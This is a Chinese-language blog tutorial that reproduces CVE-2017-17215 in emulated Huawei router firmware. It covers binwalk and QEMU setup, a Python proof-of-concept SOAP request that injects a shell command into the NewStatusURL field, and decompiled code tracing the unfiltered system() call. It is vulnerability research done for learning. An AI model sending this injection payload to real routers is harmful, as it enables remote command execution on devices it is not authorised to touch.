上周刚学习路由器固件分析,并尝试复现了一个简单的CVE。中间遇到了很多的坑点,虽然把漏洞复现了,但是过程可谓曲折。
ps:该文章以复现CVE-2017-17215为基础,提供一个详细的固件分析入门手册。
环境准备是分析固件的基础。手里的环境是ubuntu20,中间也尝试过过kali2020。期间尝试过自动化工具Firmadyne,以及其plus版本,但是都失败了,这里一些师傅那里得到建议,Firmadyne工具的镜像和内核太老了,建议手动换新的,此外该自动化分析工具其实也有较大的局限性,所以我建议手动配置一个固件模拟环境十分有必要
下面是环境的配置过程。
ubuntu20 python2
Binwalk是一款优秀的固件提取工具,我们拿到手的,需要分析的固件大都是bin文件,这时候BInwalk工具就起到了从中分析出文件系统的作用。
apt下载的和kali自带的Binwalk缺少部分重要的分析插件,建议手动编译安装,避免固件分析失败。
sudo apt-get remove binwalk //如果有的话,先删除旧版的Binwalk
git clone https://github.com/devttys0/binwalk //从git上获取binwalk
cd binwalk
sudo python3 setup.py install //Binwalk使用python3编译安装//如果是python2环境,就需要先安装以下依赖
sudo apt-get install python-lzma
如果git出现问题可以尝试把https://
改成git://
,等待编译完毕即可完成Binwalk的安装。
然后安装一些其他的依赖。Binwalk uses the pycrypto library to decrypt some known encrypted firmware images: Binwalk提供分析一些加密固件的插件,但是用到了pycrypto库,所以我们还要再安装一下该库。
# Python2.7
sudo apt-get install python-crypto# Python3.x
sudo apt-get install python3-crypto
Binwalk提供图片和视觉分析。
# Python2.7
sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
sudo pip install pyqtgraph
# Python3.x
sudo apt-get install libqt4-opengl python3-opengl python3-pyqt4 python3-pyqt4.qtopengl python3-numpy python3-scipy python3-pip
sudo pip3 install pyqtgraph
Capstone disassembly framework的插件运行需要的python模块如下。
# Python2.7
sudo apt-get install python-pip
sudo pip install capstone# Python3.x
sudo apt-get install python3-pip
# Install standard extraction utilitie
$ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools
# Install sasquatch to extract non-standard SquashFS image
$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
$ git clone https://github.com/devttys0/sasquatch
$ (cd sasquatch && ./build.sh)
以下的选择性安装即可。
# Install jefferson to extract JFFS2 file systems
$ sudo pip install cstruct
$ git clone https://github.com/sviehb/jefferson
$ (cd jefferson && sudo python setup.py install)
# Install ubi_reader to extract UBIFS file systems
$ sudo apt-get install liblzo2-dev python-lzo
$ git clone https://github.com/jrspruitt/ubi_reader
$ (cd ubi_reader && sudo python setup.py install)
# Install yaffshiv to extract YAFFS file systems
$ git clone https://github.com/devttys0/yaffshiv
$ (cd yaffshiv && sudo python setup.py install)
# Install unstuff (closed source) to extract StuffIt archive files
$ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv
$ sudo cp bin/unstuff /usr/local/bin/
以上是手动安装所有库的过程,如果想要省时间,也可以尝试一下Binwalk的安装文件夹中的自动安装脚本,sudo ./deps.sh
,但是这样的安装耗时较长,且容易报错,建议还是采用手动安装需要的几个依赖即可。
安装好了之后,可以尝试一下分析固件。binwalk -Me 固件
在当前的文件夹下即可得到文件系统的根目录。通过file ./bin/busybox
的指令即可得到相应的文件架构。
$ file ./bin/busybox
./bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV),
至此Binwalk安装完毕。
相对于Binwalk的手动编译,Qemu相对简单一点,稍微有所了解的同志可能会知道Qemu有系统和用户模式两种。安装的话可以选择不同的需求安装,这里我们选择全部都安装。
Qemu的安装没有很多讲究,一键脚本安装即可
git clone git://git.qemu.org/qemu.git
cd qemu
git submodule init
git submodule update --recursivesudo
apt install libglib2.0 libglib2.0-devsudo
apt install autoconf automake libtoolcd
qemu && ./configuremakesudo make install//apt 安装
sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system
sudo apt install qemu-user
安装完毕之后,如下图
工具安装完毕之后,以下将对漏洞进行验证。
首先,需要给Qemu虚拟机准备一个新的网桥,利用该网桥使得Qemu机可以联通互联网,并且和VM虚拟机处于同一网段。
采用的基本方法是分配一个新网卡给Qemu机器,并且使用网桥,将其桥接到原来的网卡。首先需要安装网桥配置工具。
apt-get install bridge-utils
sudo apt-get install uml-utilities
然后使用下面的脚本即可。
#! /bin/sh
sudo brctl addbr br0 //创建网桥br0
sudo brctl addif br0 ens33 //连接到ens33
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens33 0.0.0.0 promisc up
sudo dhclient br0
//给该网桥分配IP地址,此前不能给ens33分配ipv4的地址sudo tunctl -t tap0 -u root
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo brctl showstp br0
以上内容保存到一个bash脚本即可,开启虚拟机之前运行一遍。
网络配置好了之后,使用相应的镜像和内核文件启动一个qemu机。https://people.debian.org/~aurel32/qemu/ 以上网址可以下载内核和镜像。
期待使用指定的网桥,且在当前中断开启qemu机器。sudo qemu-system-mips -M malta -kernel ~/Desktop/IOT/vmlinuxs/vmlinux-2.6.32-5-4kc-malta -hda ~/Desktop/IOT/Images/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no
指令的具体含义可以看以下Qemu的说明文档。https://wiki.archlinux.org/title/QEMU_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)
虚拟机的root账户密码是root,成功登录之后,尝试ping以下外网,看能否ping通。
然后使用scp指令,把文件系统都传递给Qemu虚拟机。scp -r 路径 [email protected]:虚拟机路径
$ scp -r squashfs-root [email protected]:~/sqashfs-root
文件传输完毕之后,为了能够让VM机访问到Qemu机,使用mount挂载以下dev和proc
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
不同的文件系统有不同的挂载指令。
此时注意到CVE-2017-17215
的漏洞存在于upnp和mic
服务中。这两项服务都和网络有关,为了方式漏洞服务启动后,网络环境的变化,使用ssh远程登录该Qemu机器,新建一个console,利用该console启动漏洞服务,利用原有的Qemu窗口保持Qemu的ip不发生改变。
在ssh窗口输入chroot . /bin/sh
更改根目录,避免动态链接库报错。
然后执行漏洞服务即可。
# ./bin/upnp
# ./bin/mic
等待执行结束,果然ip发生了改变,利用ifconfig指令把ip地址改回去。
此时,尝试访问该路由器(Qemu机)的ip地址,可以发现成功访问。
默认账户admin,@Hua1234
漏洞服务开启之后,可以验证以下漏洞的poc,用的是下面的exp
import requestsheaders = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox mkdir shell;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.146.137:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
post请求的IP地址写Qemu机的IP地址。执行后,结果如下:
漏洞环境和服务都已搭建成功,并且已经成功验证。接下来结合固件分析更加深入理解该漏洞的成因。
首先,使用Ghidra打开upnp文件。由poc不难发现,注入命令的位置出现在<NewStatusURL>
节点以内。所以先尝试搜索该字符串。
在字符串搜索框搜索,NewStatusURL
,的到如下函数。
int FUN_0040749c(int param_1){
int iVar1;
int local_418;
int local_414;
char acStack1040 [1028];
iVar1 = ATP_XML_GetChildNodeByName(*(undefined4 *)(param_1 + 0x2c),"NewDownloadURL",0,&local_418);
if (((iVar1 == 0) && (local_418 != 0)) &&
(iVar1 = ATP_XML_GetChildNodeByName
(*(undefined4 *)(param_1 + 0x2c),"NewStatusURL",0,&local_414), iVar1 == 0))
{
if (local_414 != 0) {
snprintf(acStack1040,0x400,"upg -g -U %s -t \'1 Firmware Upgrade Image\' -c upnp -r %s -d -b",
local_418,local_414);
system(acStack1040);
}
}
return iVar1;
}
容易发现system函数的参数来源于snprintf
,再看snprintf函数中,参数的拼接用的是字符串%s
传入,没有做任何的过滤处理,由此可以判断,这是由snprintf
参数过滤不严格引起的,命令拼接RCE.
尝试查看该函数的交叉引用,发现失败。
寻找该函数的调用到目前为止,无法前进,但是漏洞的成因找到了。
刚才我们尝试从漏洞函数的调用去寻找漏洞的触发点,失败了,接下来,我们换一种方法,正向的去寻找漏洞的触发点。进入文件系统,尝试搜索,该字符串在哪里出现了。grep -r "NewStatusURL"
DevUpg.xml
中有该字符串。(说明只有该地方用到了该字符串)老样子,在Ghidra中搜索DevUpg.xml
字符串,找到一个服务注册函数。
int ATP_UPNP_RegDeviceAndService(void)
{
int iVar1;
int iVar2;
int iVar3;
int iVar4;
int iVar5;
int iVar6;
int iVar7;
int iVar8;
int iVar9;
int iVar10;
undefined4 local_128;
undefined4 local_124;
undefined4 local_120;
undefined4 local_11c;
undefined4 local_118;
undefined4 local_114;
undefined4 local_110;
undefined4 local_10c;
undefined4 local_108;
undefined4 local_104;
undefined4 local_100;
undefined4 local_fc;
undefined4 local_f8;
undefined4 local_f4;
undefined4 local_f0 [2];
int local_e8;
int local_e4;
int local_e0;
int local_dc;
int local_d8;
int local_d4;
int local_d0;
int local_cc;
int local_c8;
int local_c4;
int local_c0;
int local_bc;
int local_b8;
int local_b4;
int local_b0;
int local_ac;
int local_a8;
int local_a4;
int local_a0;
int local_9c;
int local_98;
int local_94;
int local_90;
int local_8c;
int local_88;
int local_84;
int local_80;
int local_7c;
int local_78;
int local_74;
int local_70;
int local_6c;
int local_68;
int local_64;
int local_60;
int local_5c;
int local_58;
int local_54;
int local_50;
int local_4c;
int local_48;
int local_44;
int local_40;
int local_3c;
int local_38;
int local_34;
int local_30;
int local_2c;
local_128 = 0;
local_124 = 0;
local_120 = 0;
local_11c = 0;
local_118 = 0;
local_114 = 0;
local_110 = 0;
local_10c = 0;
local_108 = 0;
local_104 = 0;
local_100 = 0;
local_fc = 0;
local_f8 = 0;
local_f4 = 0;
local_f0[0] = 0;
iVar1 = ATP_UPnP_RegDevice(0,g_stDevDesc._4_4_,"InternetGatewayDevice:1",3,0,0,&local_128);
iVar2 = ATP_UPnP_RegService(local_128,"urn:www-huawei-com:service:DeviceUpgrade:1","DevUpg.xml",2,
0,0,&local_124);
iVar3 = ATP_UPnP_RegService(local_128,"Layer3Forwarding:1","L3Fwd.xml",3,0,0,&local_120);
iVar4 = ATP_UPnP_RegService(local_128,"LANConfigSecurity:1","LANSec.xml",2,0,0,&local_118);
iVar5 = ATP_UPnP_RegService(local_128,"urn:www-huawei-com:service:DeviceConfig:1","DevCfg.xml",2,0
,0,&local_11c);
iVar5 = iVar2 + iVar1 + iVar3 + iVar4 + iVar5;
if (iVar5 == 0) {
iVar1 = ATP_UPnP_RegDevice(local_128,0,"WANDevice:1",3,1,0,&local_110);
iVar2 = ATP_UPnP_RegService(local_110,"WANCommonInterfaceConfig:1","WanCommonIfc1.xml",2,0,0,
&local_10c);
iVar3 = ATP_UPnP_RegService(local_110,"WANDSLInterfaceConfig:1","WanDslIfCfg.xml",3,0,0,
&local_114);
iVar4 = ATP_UPnP_RegDevice(local_110,0,"WANConnectionDevice:1",3,1,0,&local_108);
iVar6 = ATP_UPnP_RegService(local_108,"WANDSLLinkConfig:1","WanDslLink.xml",2,0,0,local_f0);
iVar7 = ATP_UPnP_RegService(local_108,"WANIPConnection:1","WanIpConn.xml",3,1,0,&local_100);
iVar8 = ATP_UPnP_RegService(local_108,"WANPPPConnection:1","WanPppConn.xml",3,1,0,&local_104);
iVar9 = ATP_UPnP_RegDevice(local_128,0,"LANDevice:1",2,1,0,&local_fc);
iVar10 = ATP_UPnP_RegService(local_fc,"LANHostConfigManagement:1","LanHostCfgMgmt.xml",2,0,0,
&local_f8);
iVar5 = ATP_UPnP_RegService(local_fc,"WLANConfiguration:1","WLANCfg.xml",2,1,0,&local_f4);
iVar5 = iVar2 + iVar1 + iVar3 + iVar4 + iVar6 + iVar7 + iVar8 + iVar9 + iVar10 + iVar5;
if (iVar5 == 0) {
local_e8 = ATP_UPNP_RegAction(local_124,0);
iVar1 = ATP_UPNP_RegAction(local_124,1);
local_2c = ATP_UPNP_RegAction(local_f4,2);
local_30 = ATP_UPNP_RegAction(local_f4,3);
local_34 = ATP_UPNP_RegAction(local_f4,4);
local_38 = ATP_UPNP_RegAction(local_f4,5);
local_3c = ATP_UPNP_RegAction(local_f4,6);
local_40 = ATP_UPNP_RegAction(local_f4,7);
local_44 = ATP_UPNP_RegAction(local_f4,0x31);
local_48 = ATP_UPNP_RegAction(local_f4,0x32);
local_4c = ATP_UPNP_RegAction(local_f4,0x33);
local_50 = ATP_UPNP_RegAction(local_f4,0x34);
local_54 = ATP_UPNP_RegAction(local_f4,0x35);
local_58 = ATP_UPNP_RegAction(local_f4,0x36);
local_5c = ATP_UPNP_RegAction(local_f4,0x37);
local_60 = ATP_UPNP_RegAction(local_f4,0x38);
local_64 = ATP_UPNP_RegAction(local_f4,0x39);
local_68 = ATP_UPNP_RegAction(local_118,8);
local_6c = ATP_UPNP_RegAction(local_11c,9);
local_70 = ATP_UPNP_RegAction(local_11c,10);
local_74 = ATP_UPNP_RegAction(local_11c,0xb);
local_78 = ATP_UPNP_RegAction(local_11c,0xc);
local_7c = ATP_UPNP_RegAction(local_f0[0],0xd);
local_80 = ATP_UPNP_RegAction(local_100,0xe);
local_84 = ATP_UPNP_RegAction(local_100,0xf);
local_88 = ATP_UPNP_RegAction(local_100,0x10);
local_8c = ATP_UPNP_RegAction(local_100,0x11);
local_90 = ATP_UPNP_RegAction(local_100,0x16);
local_94 = ATP_UPNP_RegAction(local_104,0x12);
local_98 = ATP_UPNP_RegAction(local_104,0x13);
local_9c = ATP_UPNP_RegAction(local_104,0x14);
local_a0 = ATP_UPNP_RegAction(local_104,0x15);
local_a4 = ATP_UPNP_RegAction(local_104,0x17);
local_a8 = ATP_UPNP_RegAction(local_104,0x18);
local_ac = ATP_UPNP_RegAction(local_f8,0x19);
local_b0 = ATP_UPNP_RegAction(local_f8,0x1a);
local_b4 = ATP_UPNP_RegAction(local_f8,0x1b);
local_b8 = ATP_UPNP_RegAction(local_f8,0x1c);
local_bc = ATP_UPNP_RegAction(local_10c,0x1d);
local_c0 = ATP_UPNP_RegAction(local_10c,0x1e);
local_c4 = ATP_UPNP_RegAction(local_104,0x1f);
local_c8 = ATP_UPNP_RegAction(local_104,0x21);
local_cc = ATP_UPNP_RegAction(local_100,0x20);
local_d0 = ATP_UPNP_RegAction(local_100,0x22);
local_d4 = ATP_UPNP_RegAction(local_100,0x2e);
local_d8 = ATP_UPNP_RegAction(local_100,0x2f);
local_dc = ATP_UPNP_RegAction(local_100,0x30);
local_e0 = ATP_UPNP_RegAction(local_104,0x29);
local_e4 = ATP_UPNP_RegAction(local_104,0x2a);
iVar2 = ATP_UPNP_RegAction(local_104,0x2b);
iVar3 = ATP_UPNP_RegAction(local_104,0x2c);
iVar4 = ATP_UPNP_RegAction(local_104,0x2d);
iVar6 = ATP_UPNP_RegAction(local_f0[0],0x23);
iVar7 = ATP_UPNP_RegAction(local_f0[0],0x24);
iVar8 = ATP_UPNP_RegAction(local_f0[0],0x25);
iVar9 = ATP_UPNP_RegAction(local_f0[0],0x26);
iVar10 = ATP_UPNP_RegAction(local_f0[0],0x27);
iVar5 = ATP_UPNP_RegAction(local_f0[0],0x28);
iVar5 = iVar1 + local_e8 + local_2c + local_30 + local_34 + local_38 + local_3c + local_40 +
local_44 + local_48 + local_4c + local_50 + local_54 + local_58 + local_5c + local_60
+ local_64 + local_68 + local_6c + local_70 + local_74 + local_78 + local_7c +
local_80 + local_84 + local_88 + local_8c + local_90 + local_94 + local_98 + local_9c
+ local_a0 + local_a4 + local_a8 + local_ac + local_b0 + local_b4 + local_b8 +
local_bc + local_c0 + local_c4 + local_c8 + local_cc + local_d0 + local_d4 + local_d8
+ local_dc + local_e0 + local_e4 + iVar2 + iVar3 + iVar4 + iVar6 + iVar7 + iVar8 +
iVar9 + iVar10 + iVar5;
}
}
return iVar5;
}
函数较长,可以不用每一行都明白,大致看懂了该函数的意思是,对于需要通信的设备和服务,进行各自的操作,跟进Action函数,查看一下后续操作。
在后续的操作中,不难发现该函数存在一个明显的间接函数调用。
undefined4 ATP_UPNP_RegAction(int param_1,char *param_2){
int iVar1;
char **ppcVar2;
char *__s1;
char *__s2;
if ((param_1 != 0) && (*(int *)(param_1 + 0x30) != 0)) {
ppcVar2 = *(char ***)(param_1 + 0x24);
if (ppcVar2 != (char **)0x0) {
__s2 = *(char **)(g_astActionArray + (int)param_2 * 0x10);
do {
if (((uint)ppcVar2[1] & 0x40000000) != 0) {
__s1 = *ppcVar2;
iVar1 = strcmp(__s1,__s2);
if (iVar1 == 0) {
ATP_UPNP_Free(__s1);
ppcVar2[1] = (char *)((uint)ppcVar2[1] & 0xbfffffff);
*ppcVar2 = param_2;
return 0;
}
}
ppcVar2 = (char **)ppcVar2[4];
} while (ppcVar2 != (char **)0x0);
}
}
return 0x40090000;
}
在函数的第13行,__s2 = *(char **)(g_astActionArray + (int)param_2 * 0x10);
查看该全局的函数变量。但是发现没有识别出来这里数据的类型,由于不太会操作Ghidra,所以又回到了IDA,定位到该区域,手动识别了一下(懒得写idapython脚本)
全局的虚表,使用0和1来标号,如果为0则偏移8的位置是函数,如果为1则偏移8的位置是字符串数据。以此来作为一个标记,来有序的,并且保证正确类型向调用者提供接口。
然后回过头来,查看一下上一页的调用。该服务的参数对应的是偏移为0和1的位置,关联到本函数,取出的是74偏移的字符串。
此时发现第一个函数有点眼熟,进去一看
发现就是漏洞函数。于是确定了该漏洞函数的触发时利用间接的虚表调用。检查该虚表的交叉引用。
调用出了本函数全都是UPnPGetActionByName
函数。
然后一直向上检查交叉引用,检查到了ATP_UPNP_Init
函数。该函数时初始化upnp服务时候所调用的函数,
那么至此该漏洞的出发链也已经完全发现了。
main -> ATP+UPNP_init -> sub_40B5B4 -> sub_40A9C8 -> UPnPGetActionByName
看一下最终触发漏洞的函数。
undefined4 UPnPGetActionByName(int param_1,char *param_2,char *param_3,char **param_4)
{
int iVar1;
int iVar2;
char **ppcVar3;
char *pcVar4;
if (param_1 != 0) {
if (param_2 == (char *)0x0) {
return 0;
}
if (param_4 != (char **)0x0) {
*param_4 = (char *)0x0;
}
for (ppcVar3 = *(char ***)(param_1 + 0x24); ppcVar3 != (char **)0x0;
ppcVar3 = (char **)ppcVar3[4]) {
pcVar4 = ppcVar3[1];
if (((uint)pcVar4 & 0x40000000) == 0) {
pcVar4 = *ppcVar3;
iVar1 = (int)pcVar4 * 0x10;
iVar2 = strcmp(*(char **)(g_astActionArray + iVar1),param_2);
if ((iVar2 == 0) &&
((*(char **)(g_astActionArray + iVar1 + 4) == (char *)0x0 ||
(iVar1 = strcmp(*(char **)(g_astActionArray + iVar1 + 4),param_3), iVar1 == 0)))) {
if (param_4 != (char **)0x0) {
*param_4 = *(char **)(g_astActionArray + (int)pcVar4 * 0x10 + 0xc);
}
return *(undefined4 *)(g_astActionArray + (int)*ppcVar3 * 0x10 + 8);
}
}
else {
iVar1 = strcmp(*ppcVar3,param_2);
if (iVar1 == 0) {
if (param_4 == (char **)0x0) {
return 0;
}
*param_4 = pcVar4;
return 0;
}
}
}
}
return 0;
}
可以看到这里return返回的是,return *(undefined4 *)(g_astActionArray + (int)*ppcVar3 * 0x10 + 8);
而(ppcVar3 = *(char ***)(param_1 + 0x24)
返回上级调用查看第一个参数。
继续查看UpnpGetServiceByUrl
函数。
经过了预处理之后,如果还没有返回,那么就会继续接下来的判断。
这样的判断和虚表有些类似,但是暂时和我们所需要的分析函数中的g_pstUpnpGvarHead
变量没有关系,这个变量在反汇编器中也看不到。
继续看这个函数,再if
判断之后,还有一个strcmp
函数,可以发现这个比较函数的参数1,已经又snprintf改编为了目前偏移位置的函数。进行了第二次函数判别,判断该服务是否是调用者要调用的目标服务。
所以能够确定该函数是一个,确定调用者调用服务的函数,就是说只要访问url
/ctrlt/函数服务
就可以访问对应的服务,但是仔细看就会发现snprintf
函数给函数服务规定了一定的格式。
只有满足Name_num
的格式才是一个合法的服务。关于这个关键的全局变量g_pstUpnpGvarHead
该变量只有在UPNP_Init
函数才被调用,于是继续往上追踪该变量。
在初始化函数中发现,在这一句中初始化了:g_pstUpnpGvarHead = (int *)ATP_UTIL_GVarGetValue(0x20001,0);
并且该函数是个链接函数,所以无法得知其内容,那么该变量的分析先告一段落,后期会动态调试获得该内存的内容。
回到sub_40A9C8
函数调用UpnpGetServiceByUr
的位置。发现调用该函数之前也是一些url的分析,调用该函数之后,
是在解析xml格式的文件。解析完了格式就会调用漏洞函数,所以断定,想要触发函数,一定要获得目标全局变量的值,使用qemu-mips-static开启调试模式发现,不会进入到upnp初始化里面去,可能是该服务的原因。
给几张抓包调试图。
征集原创技术文章中,欢迎投递
投稿邮箱:[email protected]
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。